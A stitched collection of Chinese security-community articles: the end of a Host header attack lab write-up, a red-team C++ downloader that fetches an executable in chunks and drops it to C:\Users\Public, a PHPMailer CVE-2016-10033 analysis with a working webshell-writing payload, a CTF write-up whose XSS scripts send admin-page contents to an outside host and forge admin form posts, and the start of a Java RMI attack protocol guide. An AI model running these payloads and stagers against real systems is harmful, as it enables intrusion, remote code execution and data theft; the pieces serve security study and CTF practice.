跳转到管理后台的时候别忘了URL用绝对地址，Host改成192.168.0.26，然后根据页面信息构造删除请求
最好是先把参数写在URL里然后再右键转换请求方法，这样会自动计算Content-Length，成功删除角色
### 利用错误格式的请求行的SSRF
反向代理会将请求行的路径与后端主机名拼接进行路由。但是如果我们提交一个错误格式的请求行呢，例如
GET @private-intranet/example HTTP/1.1
这次拼接后可能会变成如<a href=”http://backend-server@private-intranet/example””>http://backend-server@private-intranet/example
的形式，就可能会被某些HTTP库解释为使用用户名backend-server访问内部网站。
## 如何缓解HTTP Host头攻击？
* 限制使用绝对地址
* 验证Host头
* 限制覆盖Host头
* 设置白名单域
* 留意仅限内部访问的虚拟主机
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之高级漏洞篇 – HTTP Host头攻击专题的全部内容啦，本专题主要讲了HTTP
Host头攻击的原理、识别方法、利用及防护等，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# 红队安全研发轻松学系列之-网络不稳定下的传输设计
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
通常我们传输数据会有以下几种情况。
1.网络环境良好，A->B从开始到结束连接不断开
2.网络环境良好，A->B从开始到结束，连接可能因为某一方掉线而断开，收到不完整的数据。
3.网络环境很差，A->B传输过程中，因为丢包，TCP会重传，而当重传次数达到系统次数，连接被RESET。这样我们的链接就会断开，收到的数据就不完整。
我们对比网络情况二,网络情况三的情况：
情况二因为网络良好，只要某一方 重新上线，且不丢包，且不传输大文件，那么我们只要保证双方不再掉线，即可传输完文件。
**情况三就很特殊，这也是笔者遇到的实战问题。在3这样的环境中，传输一个50KB的小文件，都反复失败。失败的原因则是因为丢包率很高，TCP又是分包发送数据，我们发送的50KB会被分为很多很多个小的包，只要某一个小的包重传超过五次，那么该链接就会被断开，接受到的数据就不完整。**
接下来也正是本文的重点，介绍一种无论在网络环境差和好都适用的传输方案。
## 网络协议模型介绍
由于网络通信是个复杂的系统，所以网络层次分为不同层次来开发，不同层次负责不同功能。而通常我们讨论的为七层协议和五层协议只是不同归纳方法而已。
### OSI模型与TCP/IP模型
**OSI 模型**
OSI(Open System Interconnect)开放系统互联参考模型，是ISO(国际标准组织)颁布的一个开放式体系结构 ，把网络分为七层。
**TCP/IP参考模型**
TCP/IP早期的TCP/IP模型是四层结构，后来借鉴OSI的七层参考模型，形成了一个新的五层结构。
## 实战会遇到的问题
通常我们在实战中会遇到如下一种情况：
### TCP重传五次会被RESET
大家也许都知道TCP是个可靠的传输，但是却会在实战中遇到这种情况，连接突然被断开。
## 解决方案设计
鉴于如上问题,我们就需要在协议进行如下设计：
1.分包
2.重传
3.断开重连，重连
### HTTP下的重传设计
HTTP是应用层协议，已经通过http头的content-length解决了TCP会出现的粘包问题，之后我们通过http协议已支持的range头来完成我们的分包传输。通过使用Range: bytes=xxx-xxx完成分片的工作，告诉服务器需要传输多少数据。
### 实验开始
**编译libcurl**
1.首先从官网<https://curl.se/libcurl/>
下载libcurl库后解压缩，笔者是VS2010所以进入curl-7.75.0\projects\Windows\VC10\进行编译。
2.打开项目文件curl-all.sln，修改运行时库为Multi-threaded (/MT)。
3.编译选项选择LibRelease后进行编译。
**新建测试工程**
1.新建个项目工程，将生成好的lib文件导入到项目中。
2.给工程添加依赖的库：项目->属性->链接器->输入->附加依赖项，把libcurl.lib ws2_32.lib winmm.lib
wldap32.lib添加进去。
3.加入预编译选项：项目->属性->c/c++ ->预处理器->预处理器，把
;BUILDING_LIBCURL;HTTP_ONLY复制进去（注意不要丢了”;”）。
**实现代码**
将下述实现代码添加进入工程
#include <stdio.h>
#include<iostream>
#include<string>
#define CURL_STATICLIB //静态链接
#include "curl/curl.h"
#pragma comment(lib, "libcurl.lib")
using namespace std;
typedef unsigned int uint;
typedef PVOID pvoid;
size_t writeData(void *buffer, size_t size, size_t nmemb, void *lpVoid)
{
string *str = dynamic_cast<string *>((string *)lpVoid);
if (NULL == str || NULL == buffer)
{
return -1;
}
char *pData = (char*)buffer;
str->append(pData,size *nmemb);
return nmemb;
}
long f_get(char * strUrl,string & strRespose)
{
CURLcode res;
CURL * curl = curl_easy_init();
if (NULL == curl)
{
return false;
}
curl_easy_setopt(curl,CURLOPT_URL,strUrl);
curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,writeData);
curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&strRespose);
curl_easy_setopt(curl,CURLOPT_NOSIGNAL,1);
curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT,10); //TCP连接超时
curl_easy_setopt(curl,CURLOPT_TIMEOUT,30); //接收数据时超时设置
res = curl_easy_perform(curl);
if (CURLE_OK != res)
{
}
long response_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
double size = 0;
if(response_code == 200){
curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &size);
}
return size;
}
bool f_get2(char *strUrl,int beginIndex,int maxSize,string & strResponse)
{
CURLcode res;
CURL * curl = curl_easy_init();
if (NULL == curl)
{
return false;
}
curl_easy_setopt(curl,CURLOPT_URL,strUrl);
curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,writeData);
curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&strResponse);
curl_easy_setopt(curl,CURLOPT_NOSIGNAL,1);
curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT,10);
curl_easy_setopt(curl,CURLOPT_TIMEOUT,30);
int endIndex = beginIndex + 10000;
if(endIndex > maxSize){
endIndex = maxSize;
}
char beginIndexStr[100];
itoa(beginIndex,beginIndexStr,10);
char endIndexStr[100];
itoa(endIndex,endIndexStr,10);
string beginIndexString = string(beginIndexStr);
string endIndexString = string(endIndexStr);
string rangeHead = "";
rangeHead += beginIndexString;
rangeHead += "-";
rangeHead += endIndexString;
curl_easy_setopt(curl, CURLOPT_RANGE, rangeHead.c_str());
res = curl_easy_perform(curl);
if (CURLE_OK != res)
{
}
long response_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
double size = 0;
if(response_code == 200){
curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &size);
}
return true;
}
BOOL Write(wstring filePath,char *buffer, DWORD contentLen)
{
HANDLE pFile;
char *tmpBuf;
DWORD dwBytesWrite,dwBytesToWrite;
pFile = CreateFile(filePath.c_str(),GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if ( pFile == INVALID_HANDLE_VALUE)
{
printf("create file error!\n");
CloseHandle(pFile);
return FALSE;
}
dwBytesToWrite = contentLen;
dwBytesWrite = 0;
tmpBuf = buffer;
do{
int ret = WriteFile(pFile,tmpBuf,dwBytesToWrite,&dwBytesWrite,NULL);
dwBytesToWrite -= dwBytesWrite;
tmpBuf += dwBytesWrite;
} while (dwBytesToWrite > 0);
CloseHandle(pFile);
return TRUE;
}
int main()
{
char * url = "http://192.168.206.144/Messagebox.exe";
string payload;
string response;
long fileSize = f_get(url,response);
response.clear();
long payloadSize = payload.size();
while(payloadSize < fileSize){
//get data using http head range
response.clear();
f_get2(url,payloadSize,fileSize,response);
payload.append(response);
payloadSize = payload.size();
}
wstring path = L"C:\\Users\\Public\\1.exe";
Write(path,(char *)payload.c_str(),payload.size());
system("pause");
}
**代码分析**
1.首先通过第一次get获取目标文件的大小，由于设置了
`curl_easy_setopt(curl,CURLOPT_TIMEOUT,30); //接收数据时超时设置`
当在指定时间内无法接受到整块数据，会返回部分接受到的数据（包括能获取到大小的http头），这也是一次直连HTTP在网络状况差的情况下会导致的问题。
2.当得知了整个文件大小，通过range头来分块获取 | 社区文章 |
**Author: p0wd3r, dawu (知道创宇404安全实验室)**
**Date: 2016-12-27**
## 0x00 漏洞概述
### 1.漏洞简介
Dawid Golunski 在圣诞节当天发布了一个[漏洞报告](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)，报告中表明 PHPMailer
小于5.2.18的版本存在远程代码执行漏洞。成功利用该漏洞后，攻击者可以远程任意代码执行。许多知名的 CMS 例如 Wordpress
等都是使用这个组件来发送邮件，影响不可忽视。
### 2.漏洞影响
漏洞触发条件：
* PHP 没有开启 `safe_mode`（默认）
* 攻击者需要知道 Web 服务部署的路径
成功利用该漏洞后，攻击者可以远程任意代码执行。
### 3.影响版本
PHPMailer < 5.2.18
## 0x01 漏洞复现
### 1.环境搭建
Dockerfile:
FROM php:5.6-apache
RUN apt-get update && apt-get install -y sendmail
RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini
提前下载好源码，在源码根目录下添加测试文件 1.php：
<?php
require('PHPMailerAutoload.php');
$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('[email protected]', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';
$mail->send();
?>
shell:
docker build -t CVE-2016-10033 .
docker run --rm --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.17:/var/www/html CVE-2016-10033
### 2.漏洞复现
我们首先看补丁：
这里使用`escapeshellarg`来处理`$this->Sender`，可见是为了防止注入参数，我们跟随`$param`的走向可知`$param`最终会被用于`mail`函数中，在`class.phpmailer.php`的`mailPassthru`函数中：
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
这里`$param`作为`mail`的第五个参数，该参数用于指定`sendmail`的额外参数，其中`sendmail`的`-X`参数会将流量记录到文件中从而写文件实现
RCE，至于具体利用详见 [Roundcube RCE](http://paper.seebug.org/138/)。
现在触发点找到了，接下来我们需要确定输入，可以看到`$this->Sender`在`setFrom`函数中被设置：
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
...
}
...
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
`setFrom`用于设置发信方，正常情况下都是可控的。下面我们看过滤函数`validateAddress`（这个过滤在`preSend`函数中还会进行一次）：
public static function validateAddress($address, $patternselect = null)
{
...
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
这里根据`PCRE_VERSION`和`PHP_VERSION`来选择过滤方式，这里有一种情况：
* PHP 不支持 PCRE
* PHP 版本小于 5.2.0
这个时候该函数会使用`noregex`的方式，即只需满足三个条件即可通过过滤：
* 输入长度大于 3
* 含有`@`
* `@`不是最后一个字符
这三个条件很容易满足，所以在这种情况下漏洞是很容易触发的，已经有研究人员开发了相应的 PoC
：<https://github.com/opsxcq/exploit-CVE-2016-10033>
但是满足这个情况的主机现在已经很少了，正常情况下都是使用`pcre8`的正则来进行过滤，所以如果要扩大攻击面需要对正则进行绕过，并且还得让 sendmail
成功执行。
幸运的是，已经有其他研究人员写好了 payload ：
<https://ghostbin.com/paste/s64ng>
`"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php
@swehack.org`
这里使用`.%20`（点+空格）来作为分隔符，经小伙伴测试发现，`.%09`（点+Tab）也是可以绕过的。另外 phithon
大牛也提出了另外一种[绕过思路](https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html)，可见绕过的方式并不是单一的，更多的绕过方式需要通过仔细分析正则并结合 fuzz
来发现。如果大家有新的绕过思路希望可以多多交流 :)。
我们实际测试一下，访问`http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%[email protected]`：
等一段时间之后 shell 成功写入：
**UPDATE IN 12.28** :
漏洞原作者 Dawid Golunski
于昨晚公开了[漏洞细节](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)，里面提到了不同于上面所说的绕过方法。phithon
也在今早提出了几个[绕过思路](http://weibo.com/101yx?is_all=1)以及分析正则表达式的[心得](http://paper.seebug.org/163/)。（给大佬们递茶。。。
### 3.补丁分析
使用`escapeshellarg`防止传入多个参数
## 0x02 修复方案
升级 PHPMailer
## 0x03 参考
* <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html>
* <https://www.reddit.com/r/netsec/comments/5kbo5v/rce_via_unescaped_shell_argument_in_phpmailer_5218/>
* <https://ghostbin.com/paste/s64ng>
* <https://github.com/opsxcq/exploit-CVE-2016-10033>
* <https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html>
* * * | 社区文章 |
这比赛就两个web, 真的是太不友好了, 对于一只菜鸡web狗, 两个题目的难度也是一个天上一个地下.
# WEB
## Baby PHP (Category: Web)
Difficulty: baby
PHP is a popular general-purpose scripting language that is especially suited
to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most
popular websites in the world.
[Can you untangle this mess?!](https://arcade.fluxfingers.net:1819/ "Can you
untangle this mess?!")
### 解题过程
打开网页, 题目为我们提供了源码, 是一道代码审计题
<?php
require_once('flag.php');
error_reporting(0);
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
if(strlen($k2) == $bb){
if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b = "2";$a="b";//;1=b
if($$a !== $k1){
die("lel no\n");
}
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
从代码看, 我们需要绕过以下的几个部分
1. L13 -> `@file_get_contents($msg)!=="Hello Challenge!"`
这里我们可以使用data协议来绕过file_get_contents
`msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==`
2. L24 -> `intval($k1) !== $cc || $k1 === $cc`
这里由于intval的原因, 他会将一个字符串的数字部分保留, 最后的字符直接丢弃, 这样我们可以使整个条件前半部分为true, 我们直接传入
`key1=1337a`
3. L28 -> `strlen($k2) == $bb`
4. L29 -> `preg_match('/^\d+＄/', $k2) && !is_numeric($k2)`
在这一部分要求我们使key2的长度为42, 看正则表达式, 发现内容为任意数字串加一个特殊字符`＄`注意这里不是表示正则结束的英文`$`所以直接使用
`key2=000000000000000000000000000000000001337＄`
可以通过正则匹配且`is_numeric($k2) = false`
5. L30 -> `$k2 == $cc`
我们之所以要在k2的最后部分传入1337是为了第三十行, 这里利用了php弱类型的特性, 使这里的判断为true, 之后可以对$cc进行覆盖
6. L38 -> `substr($cc, $bb) === sha1($cc)`
这里`substr(array(), $bb) = NULL`而且`sha1(array()) = NULL` 所以我们可以使用
`cc[]=1`
来绕过这一部分, 之后可以对各种变量进行覆盖
7. L44 -> `$b = "2";$a="b";//;1=b`
主办方在这里加入了一堆神奇的ascii控制字符, 恢复之后得到
`$b = "2";$a="b";//;1=b`
8. L46 -> `$$a !== $k1`
这里, 根据我们上方恢复后的顺序正确的代码可以得知`$$a = 2`, 由于绕过了第6部分, 我们可以重新对k1这一变量进行覆盖
`k1=2`
9. L52 -> `assert("$bb == $cc");`
直接在这一部分进行命令执行, 还是用上面提供的变量覆盖, 我们覆盖掉`$bb`, 便可以任意代码执行.
`bb=phpinfo();//`
最终exp:
https://arcade.fluxfingers.net:1819/?msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337a&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&a=k1&bb=var_dump($flag);//&k1=2
flag: `flag{7c217708c5293a3264bb136ef1fadd6e}`
## IDeaShare (Category: Web)
Difficulty: hard
A place to share your IDeas with your friends!
Try to win the best IDea competition but be wary a strong force prevents any
cheating.
Good luck you will need it!
[Link](https://arcade.fluxfingers.net:1818/)
### 解题过程
这个题的hard是真的hard. 首先题目使用了超级强大的过滤, 一般的exp都没法传进去, 使用目录扫描器也没有发现任何有价值的文件,
只能一点一点进行分析.
随便注册个用户, 发现有重置密码, 但是毫无卵用, 并不能重置任何人的密码. (想想也是, 毕竟题目叫ideashare,
share多数是和XSS有关系嘛).
之后看功能, 发现有一个IDea的编辑功能, 查看Shares列表的功能, 以及在about页面下的提示没有权限的`competition` 和
`admin` 功能, 还有查看个人资料(userid, useragent)的功能.
在编辑功能中, 尝试插入各种XSS语句, 像平常的`<script>`, `<img src=#
onload="alert(1)">`这些常见的都会被过滤掉. 在尝试`<iframe src=.>`时发现编辑成功了,
而且在viewer的raw中发现被执行了, 在多次尝试后, 我们发现`<tag onxxx='xxx'>`等各种常见的都不能绕过
之后在各种google的时候发现了`<link>`标签的XSS
在使用过程中, `rel`属性不能单独出现, 也不能在exp中使用`', ", //`这几种符号, 因此使用了如下的exp
`<link/rel=import href=https:\\d7cb7b72.w1n.pw\background.html>`
<!-- background.html -->
<script>alert(1)</script>
这时发现可以弹出传说中的`alert(1)`窗口了!
修改我们的`background.html`,
直接在里面加上ph师傅的[conote平台](https://note.leavesongs.com)生成的XSS代码尝试打一波cookie.
但是这里出现了点问题, 我尝试保存了半个小时, 都没有管理员来看我的share..
和师傅交流了一下知道这里需要进行一波参数污染,
也就是把我们的exp保存到`https://arcade.fluxfingers.net:1818/?page=idea&pad=5%26raw`这样的页面内,
然后再进行share, 才能让管理员看到我们的文章, 直接F12改掉share的那个按钮, 然后分享出去,
在share的那个界面就可以看到我们参数污染之后, IDea Number 从正常的数字变成了`5&raw`, 点进去也会进入到raw模式的浏览界面,
此时就可以收到管理员被打的消息啦!
然而! 然而并没有cookie!!!!
这他妈就很尴尬了. 于是开始修改xss代码, 用管理员身份访问`?page=competition` 及 `page=admin` 两个页面
var gxhttp = new XMLHttpRequest();
gxhttp.onreadystatechange = function() {
if (this) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("POST", "https://d7cb7b72.w1n.pw/GET1"+this.status, true);
xhttp.send(this.responseText);
}
};
gxhttp.open("GET", "/?page=admin", true);
gxhttp.send();
var txtttttttt = new XMLHttpRequest();
txtttttttt.onreadystatechange = function() {
if (this) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("POST", "https://d7cb7b72.w1n.pw/GET2"+this.status, true);
xhttp.send(this.responseText);
}
};
txtttttttt.open("GET", "/?page=competition", true);
txtttttttt.send();
第一个页面也提示的`Sorry, you are not a Winner (yet)`, 看来是管理员也不是winner....
第二个页面返回了`page=admin`的代码 (原来用的是IP认证...不是cookie/session....)
通过返回的admin页面的源码, 我们发现一个form表单, 可以选择IDeaShare的winner, 于是再改XSS的代码....让他提交个表单上去,
把我们的userid传进去....(真佩服前端黑客写代码一点都不嫌累)
var pxhttp = new XMLHttpRequest();
pxhttp.onreadystatechange = function() {
if (this) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("POST", "https://d7cb7b72.w1n.pw/POST"+this.status, true);
xhttp.send(this.responseText);
}
};
pxhttp.open("POST", "/?page=admin", true);
pxhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
pxhttp.send("userid=100&submit=1");
再重新share一遍,
之后我们收到了`A winner was chosen.`的消息,
再去我们的那个`competition`界面就可以找到题目的答案啦! | 社区文章 |
虽然前面我已经写了一篇文章，“总结”了一些rmi的攻击类型，那篇文章我只是介绍了攻击方法，但是原理我不是很清楚，而且也不是太全。最近花了一些时间，调试了代码，算是大致搞清楚了rmi的具体流程，并写了一个工具
[attackRmi](https://github.com/waderwu/attackRmi)
。这个工具使用socket模拟rmi协议直接发包，比直接调用java相关函数方便不少。为了搞懂rmi协议，还是花了一些力气。
本文会包含一下内容
* RMI 协议介绍
* RMI 攻击面
* attackRmi 实现
## RMI 协议介绍
关于RMI已经有不少文章总结的比较全了，感谢各位的分享。比如
* <https://xz.aliyun.com/t/7930>
* <https://xz.aliyun.com/t/7932>
* <https://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/>
他们基本都参考了
* <https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/>
* <https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/>
然后这两篇文章基本上都是来自这篇blackhat
* <https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf>
“客户端”：这里指的是主动发请求的
“服务端”：这里指的是接收处理请求的
下面贴了一些调用栈，方便大家自己下断点自己调试，要想搞清楚还得自己动手调试。
服务端处理请求主要包括三种Implement
* RegistryImpl_Skel
* 主要是和registry相关的一些处理，主要是处理bind，unbind，rebind，list，lookup等请求
* 调用栈
dispatch:129, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
......
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
* DGCImpl_Skel
* 主要处理DGC请求
调用栈
dispatch:88, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
......
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
* 还有一类自己写的Implement
* 处理自定义方法的调用
调用栈
sayHello:8, HelloImpl (com.wu)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
......
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
下面我从网络数据包的角度分析一下RMI协议。
按照blackhat上的那篇，从“客户端” 发出的协议报文一般开头是这样的。
这些都是tcp的data部分，tcp那层省略了。
红色标记的部分是序列化数据。
关于具体的协议只找到了这个简略的文档。
<https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html>
* operation
* call
* 0x50
* ping
* 0x52
* DgcAck
* 0x54
* objid 是个ObjID的实例
对于RegistryImpl_Skel 和 DGCImpl_Skel 的Objid是固定的，对于自己写的Implementde
Objid是随机生成的，这个需要事先通过lookup获取
* RegistryImpl_Skel
* `new ObjID(0)`
* DGCImpl_Skel
* `new ObjID(2)`
* num
在RegistryImpl_Skel中分别对应bind，list，lookup，rebind，unbind这5种操作
* bind
* 0
* list
* 1
* lookup
* 2
* rebind
* 3
* unbind
* 4
在DGCImpl_Skel中分别对应clean和dirty这两种操作
* clean
* 0
* dirty
* 1
在自己写的implement中，num必须设为一个负数，没有具体的含义
* hash
* 在RegistryImpl_Skel情况下为interfaceHash是个固定值
* 4905912898345647071L
* 在DGCImpl_Skel情况下也是interfaceHash是个固定值
* -669196253586618813L
* 在自己写的Implement中为自己写的Class中方法签名的sha1
下面介绍一下如何计算自己实现方法的对应的hash。首先要了解java的方法签名。
参考这个 <https://stackoverflow.com/questions/8066253/compute-a-java-functions-signature>
Signature Java Type
Z boolean
B byte
C char
S short
I int
J long
F float
D double
V void
L fully-qualified-class ; fully-qualified-class
[ type type[]
比如下面sayHello这个method的签名就是`sayHello(Ljava/lang/String;)Ljava/lang/String;`
public interface HelloInter extends Remote {
String sayHello(String name) throws RemoteException;
}
格式就是`methodName(params)return`
然后从代码里扒拉出了通过上面的签名计算hash的代码
具体见
<https://github.com/waderwu/attackRmi/blob/master/src/com/wu/attackRmi/utils/ComputeMethodHash.java>
这个文件
public static long computeMethodHash(String s) {
long hash = 0;
ByteArrayOutputStream sink = new ByteArrayOutputStream(127);
try {
MessageDigest md = MessageDigest.getInstance("SHA");
DataOutputStream out = new DataOutputStream(new DigestOutputStream(sink, md));
out.writeUTF(s);
// use only the first 64 bits of the digest for the hash
out.flush();
byte hasharray[] = md.digest();
for (int i = 0; i < Math.min(8, hasharray.length); i++) {
hash += ((long) (hasharray[i] & 0xFF)) << (i * 8);
}
} catch (IOException ignore) {
/* can't happen, but be deterministic anyway. */
hash = -1;
